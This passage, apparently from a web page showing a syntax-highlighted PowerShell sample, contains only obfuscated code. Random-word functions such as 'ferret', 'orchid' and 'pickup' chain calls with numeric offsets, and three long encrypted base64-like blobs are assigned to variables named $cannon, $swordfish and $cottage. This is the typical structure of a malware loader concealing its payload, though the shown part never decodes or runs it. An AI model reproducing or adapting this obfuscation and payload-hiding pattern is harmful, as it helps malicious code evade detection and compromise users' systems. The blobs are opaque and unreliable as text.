</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">ferret([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">perp</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">25624</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">zip</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">6443</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">keyboard</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29339</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">boom</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">61989</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">zipper</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">63293</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">joke</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">40437</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rice</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">3266</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rush</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33772</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fresco</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18770</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">amount</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34161</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">wed([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">pince_nez</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">54134</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">blush</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">4645</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">frigate</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">11984</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$cannon</span> <span class="p">=</span> <span class="s1">&#39;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&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">orchid([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">slimy</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14152</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">familiarity</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">37212</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">worried</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18299</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">entree</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14606</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">exposition</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29364</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">underclothes</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">52426</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ornament</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">56489</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hatchling</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16377</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">savory</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">15669</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">wit</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39930</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">cravat</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">31434</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">resemblance</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">2433</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">carving</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">12259</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">pup</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">32737</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">standoff</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14183</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">percentage</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">9289</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">van</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">15532</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">walnut</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">19032</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bat</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">747</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">core([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">hugger</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">34221</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seep</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">49482</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">maternity</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">3156</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bother</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">36300</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">armpit</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">52120</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">chart</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">30010</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">edger</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29491</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">used</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39016</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">creek</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">59324</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gerbil</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">21200</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">upstairs([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">madam</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">38753</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">shelter</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">57843</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">vol</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">15108</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">SUV</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">10754</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">local</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">47023</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">female</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">12117</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">nail</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29856</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">clarification</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18458</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">be</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">59857</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">spectacles</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">42150</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">monger</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">60052</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">span</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">57330</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bun</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">8659</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">dining</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">54253</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">clasp</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">21075</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$swordfish</span> <span class="p">=</span> <span class="s1">&#39;HVUbawrpJsk7EpiPkodrQVnmYSqqo8yUxW0f6M4r7dOjX6QJk3EKpFs42Stm+IFHAAIhiL8kAWECDsgTTCn+hNl1Ylu97AFRnb3cbtjZdbEoSg35XeZz1vj1JdOwJWNvZdexvvTs9GikXPKvioCjipk2GzKBJ1N4KrrAieH8aabw+GzUhlUNpYLUS+DLtSiiUG3odMucZQ+v2WpJpF1DVT9+FswWcYW2iuBU6xicEKBXvvE8/n3rTqGMUk2fTFdHjLFqZLVx8V4YaFwxuCG5cGjBQapVMS7E0HAp7kgEAaS4TZ05q/HWBgA5XDo5q0MficLp/ncezTrOtWmXEvuLeG7uQz2QcKlJ1bTqRudehXn4vA/j0kwx3WZGWnpoFb1qLpthLaWdQR2j23IP9Ni0F3wdQoZOKIaKqyuuhgDDLbWoSFtfy/aDs48NnQV8eaADyZdTKpqfCSJIRHQFxsoxFfSTopWtP+LP7f73TTGpM1Cj+UaPkrLIF0gMAMToTMbi7v8a4n7o67mDIcUoaQJNgJl37xGEa/GoeEjj3CX7Ak127KcM3qeNTC1EBz+8s9CFecqVU9foeH/pHf+dtJ7rjCtONp56uzn2bUekn+184uOWpcaAXsM09F3hmvEkEcIgPMFrI6gRCZZQCMIQyzPj1A41TE7uaOU1XZAPcLQqw8GqdC6fuuWJ34TwlE3XoFepVvru5YlaHMu3FIPPiiHZYhXJvHyRylY1aAvT+UZEtO1JEjnA4TVJLsVLOwjo3gPbz8ewqEJhPCSqu3pGqZ8XNqc9UCMQ7GWjin3Mx/Llk/4DU2gO/N9Lc3UMJxQGvK9vt1ivQDtxvKcxKYJIQVKbXBpoI2+2vzv6UNVT9RNLiYU1+P4r+TzLg8AXJRr1mmzUOMj1GrxRCYK6IG2oWZGvN//XnjWd2W8c4V9aE1Zm5x9cWKj6sdXrl+7yBstSoMFo+TPdDk/xBAVcFZefNT9CgiEwEWpXHZJPFx8MFZI5hmdQ4jfZOy0YwIRaRfAHl8/Is/IOOwY7V6QX3vI/thzcqfqxtEEj84Z7YL6bLBTHz8RnF9+/PyIObPDCq97UH+KOvNgzPbtI8QzYAYCFm1+bih2NARiHXqPaXCFfI8B8pAeC/54+Dd/cmWi9v/9cqTPSynDkd1xePIWsbSFv3jgWQawqmbeAsJ+4WGn46pELYIYEoF3foFICE4gmPz9WWXOHVC/03D43dEKe2P+GpGk3dVjdq1C87htA3SKOu4cFNCRVZSkd9dIIHD1aj5cSDTQ2xE2VqAeGQURQTtl3Yp//6028AGaJ+D4ms5Uxdv/HoYKxLxQoseLPxceI8ttvxN95pd/DiFY4H8vDE/C9quZuUv5RCQfjmmDRjolJmUYqO62OZQ7CesiAGz1FYV6/1in+86FnIUvPeI0pD5c5Y1BaWPHGBGTH4L9qjEAoUSFXc8O7tyjRqSuVuN5N4juY0x2aEi5xZdtM7z/1BbEcp4O4HgVto9MgR2Ek8SEP7io9Nv0ktq62t7o2/wsHtde2mv05wa8FYdZ+Op37s+LKjJqi1OnVWbl2es4mRloarUBEIv8MPkNOtPw+TK9OiqqBAPEbDtwcD8vLI9b6xK0CyJIVulJqYbQG3fdksxyH/dCTHhqr2jnOn2ETQuo5aDi3Z1PPQzXwIWtLD8TQoxp4FatY7OMBJv1tqB1o9wXhrX8yBn9O7y7TnTmad7aBuktshDZdQ2YH+BK7o1amjbU3aVjji8+IGSs2icLYH5EnQkPbYHAHlztyxWA/d5ovnp5eHl3xGnGeMdP1BnRm302bBPMSPBmk4AnTsAMC5CJAgFcAB455h8T4JOr0ZoNBw5esABgWffr7g8+25S4/tBx3YfdPq1IOqQfncK8n9IcFOugLtFh/zwT8RYq/W3LCLTE55Jic9+SKEfDp2MAy5hSJZ6rsNnqX7rgjmZQjANFAY2jnozOGWv0cbkxlxslrVIFaex8EG6cwEsoLDHzhchZCZKt1QWZ3R53lQwmzbpqpqEhVkEbWJK4qGs3M4dyk2U35rYmgrOqnf/F4NuZ7Jo9lRD96wlZDK940zYbtoP+bsJ3q/FCukw7EZXFFACR8628VY0CchhngR2WmqpviTNoXLI4WMHO/e8pLGN1tP3ciOsRTYfvezaZCckGGu09ksMuFI0kt4cMpSS3PfFaWm+EU2uMNE3FEaTI5cGSgolnUuSzOGCgB+dzmHKmKfOZwHvXbq2YiyqcZitESBvs0bVFBSV2LcSqE62Gp4k2jd16zIicGuAOkos1eDmjqYjgb79PQDn7MdY95+0aJz6hdkxaolm0wncGyaD9q+pF2xlo9/XJXPBKR3Ype7gGsZCO7ZOsgHtW3x1HzhpUeDEHLLVE5mqasLjdNFadblaXgrZRy7RYxuxLRPqOQPUA6ykQEmI//WUZAKk4+StxZR3Ow12s6E65mu3kq/yOctu/SdWg1Fm0ZRcTHNFLR2nLxc/G6G9uGdSIkReq7KkR8fHBl3JlyblrEdyxRyXH68TrDTQMrNpi9fdvVFEQusPbffkKjmHUEnzlnc9/L9HSLk1CrHJuw7Dhflj9XLQH2UQEEFjgv1zbVNsxih2k5twTAZ2DpfkZfi3Eh13l1Uo4X8XTWI40lAciNgzsKBMW9OY9JYpXwyfuv3k0HjnfKYAtrPhPpWEIWZ/lMTy5EfPnE9PsZOVY9e/eZAPabm/BNej+94UEcdsiDRS7WgTgQ0rUTWEWsnWqIlC4hlhFQi1wzYZJWD0g6lJ41K7aupYBdd4PDZKYyn279syNnlcKzyNX5Osb6oqNYuCMyJMbBN5W2MC/Li4taUQpRGkRDlMPdHF1fGDDfVzifvyeXHU0qaWP1bR0dAe9Y/pY/f05MqKdMVZkR9ClnJHvtshb16/KlmWfDwviREtjAP3J84ht67auTD73g9AAvfy3o7/Ye8d5ze5uvCfpxri+PiSQnnwUAgWku1OtTWOERbFBiUp2ejA4AwOCqWjMH9lSQGT4HASCS9v3zpTcv5aveIjLNdos/nlIevV+5AZFCr165ke3cU9haA6Mz7M13o+nc2OHi2AEmkF+KL/3nK8eaVBJRLEDowXOw59ByMVZZZ6YMlnR+SbDJNyjBrGHiAtCCrdZtW4j0nKGr1PNAq+gmT9+EkTwYWo+N5MKCpjTS0hDwL4aIsrX0HYSB7WoLJa/d4tK4HolxCGCEkXH0fSYy/xO85AvJuK09CRLDNnPKNqA6GUuPNWa4sU2tDU6wJ0kjSqOcGQeYrOe+WAq5UHlIWs5VJOVqM/jNDMrpnJwo/M9YPX6R+TLmRRaKHTgZNwxkmJzbBXYNMyeDNjs9W0lZijGGIF3JUVqZiG0f3FeoFq34tqqQBAjib2alymOhUTlAx74MyrR4rCjlFjNx/RVYM0xQbPAa8kUsqJYk8amqjfY4/7yX/SA30yMFVYVSlsypg7v7p+/Uq002ljI6EQg5skAvw/L5ED16zo/ofUq4oc1tKMiK9DjbQDkuWLRlW8p8uB4T2y28PPfBA6EUxzYi0lKFO1H09m97NQ4ZCyZmgjH1r0pE0otKYhnTpHsY1YYHTZR8J5UotiMZTY9tbhekvECad4q8rKec3jAuWtD3GGS79Tu/M51Mx4OkZY0bM7uiq/UQJzLmbZ01AJ/5XWE0rmHIyEujV7FEKEx5wygcvpwqmg6xR1gHRYZqiFUn9/lcFY3T9SNEWAEdTjgNUI3EyAswBePW7WHNAFmJVjb3NmktMPxzyzts7vHMxk8UlMpjcgm7Zg5TJJEdhI14Tvf2LGuW+IItVsVxQUeQSozlNHSY4pukKGzrPEq4ltROYMDa8zkqEGQuBqPIu3gvj+UTfjbt0yi4aRuEwe/8eAUgw3vM0CBM7whwtgwMAQUwz4HQmNpg7T56wYd7maAQ2+9jVZtGqeLzuniKXZk5WcNIBU2kxW+2EKy+YnnEwEQUXbGZ2rAt1pwVoylm4z/3lnk50dtzk1hfs0XQNqB+8n4iQn3YFQnOAtNwommDxRxn25dha2RypwmHCKWXyDJXUQ+2bfc3f7ghNSRoifov7At+l3LiOhjRbzh5/270OrJgp9HhhHlAWC+Tu5vanU8pkJsX0QWDUjRoEu6EMuoebp4QhFQB31gpCtr32U71c+vdf+7QynyCwhJCLbiQK5yhfAR96DAa2HASEkFr6ZyuQcgbop/qb6irKoDHLkchriFB/26cKWivweYsIz/8at+tLLI/Uq+cOXoQ3kRTKG0yUWJaS50zE08NQLwZgIR+471al1JxuHlrx82vkrKbmRA0ZjyQ0BYcy7wBEmQPxoPnKqON1XiTw9p3CYUk/GZBjac3fMMsvmljYvgGTZwULX8gM6YO4zt7hhBsdS5UhCtcvQJ5SGciCOv4gRlMssM2VY7zojrUSqkLk8lRElHT6/CGUibb4foIP4rZjkg=&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">pickup([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">calm</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">54510</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">yacht</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">45765</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">hut</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">60039</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">chemical</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">6019</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">reluctance</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">57518</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">carboxyl</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">33964</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">intent</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">40086</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">growth</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">57032</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">uncertainty</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">29732</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">belt</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16225</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">nifty</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">16900</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">communicate</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">17740</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">scale</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">6245</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">write</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">14605</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">beginning</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">8755</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">rally</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">4530</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">colleague</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">59543</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">financing</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">22648</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">packet</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">18847</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$cottage</span> <span class="p">=</span> <span class="s1">&#39;YjdiU5+xwU9cr3cYedlgzPlFlolvLD+BdIw6E4U0tRlS4D/VE8F1nMUsatDJErDT4aiFC+mWnROMddy0x6iL4Sc96DfzWfJXnOlQWtkUBcS7Bkm950E3IDlikbq9zoW42UYF2+l6fXBvf4EMiSoOIRcpZZOGkFg1mX3TpFSGMU0OrG4+JzYSLK8tQPW2jh51I9NgwnpdaRhgZorC3LejdsXKOQGzcvtwbp7e4+Qx/XMmI5GO+owOzp3FvQkqBtSJ0wvCMZF4Ob+UI8g3tBvAh3G+RZ1/4WJB70t/zHL/DvW3UbuSNQkDS8bKNMeZJu8Nr1sxotBp4dPQNK95QPhzqemnhaqGdHjdwi5ToAFAr9OwMaL6ed3bcqLYjHUAepitMnRv5ooursKOvTO7z55vFG/x1JQMlkaUsEQY8qsWFqI/M45FzJvBygkr8vnN9h0RnDZ2CP2cB40/ZiusgxuSNL7X29MKwuA6wBla704NReGWCTMAqSz8MA0yITSgafdbL63kumPSl/7JGFo2kZN9p8tIhBbFRvZCi7pOiMRxHSOqttSdrne5BpUeeepeWIphD9ehLqzwnJWX+r2JkYOdcxLCqR19V9PSB8cDrg7yoyo4/e4eqwjR2IvL58i2PIweBNtcAZG9lzZgYkzZisS4xWRze71Q/LU2WCf/WSNKP4Lue9rmKMWkQ1z4+gMvV7cNW07sjJ5J+6f0GryWLdwGL3HM9YP3QZzkcIq5cFpSTf8eu94yw8uTs7WLCf17+I3d+2U6lrOj63c4/BdlNUVy/c/7bWiWYcfITA3Om9IbD1cUzw6cWFx2TgW80jAjkPiAJoKJ26wP+l4pqA8TvvG3XJb7KBV85AM7jx2/ZYYEAFlrjhWBFC/D3ApMkML5z2gIPgUDtfVooWa+BxaIWs0ZPz2CIu0pEH/1KH7YVRaZU46XeYG1y8oRjClgM9aXhtaTVQioY8aBcOPpZVz9/+G1Vm3t+twd/wlM7bKU8Hso/2Zp0ITlbdNikK+xiVDc/VMkXOmf7YvWaL0cj7uqS9jcYEwfa6COP1a8NmnkJWTJ47bPV8bJ5c4t96spbxCOF79oHF3VP8bDPOu2XdCmYIQ2j2ztnM/osnMftkYKHhLV7TfTusPXraKcHcvfoB4uIFLMQbbYK9W8LxAKRWUHM55bP8brP4z/SPWEqv1JjRiu9gRXtucDsTZ32SXGXiTHdviBywdKBw1Idv1liLF4wvjjrBezBGHxPcYrxL/yrQ+BZnffbhYhMw53/uHTtFzhImr9/0w1oRvvfcB+fbva5Jzt+RoSPBRSBjG6u94BhY5twv/ujSfARxBPbYg93m5RpKTaztSVH2DFbTjX5MTxX0WFzg==&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span><span class="w"> </span><span class="nb">composer([int]$i</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">bend</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">2081</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">dhow</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">39345</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">gigantism</span><span class="p">(</span><span class="nv">$i</span><span class="p">+</span><span class="mf">50212</span><span class="p">)</span>
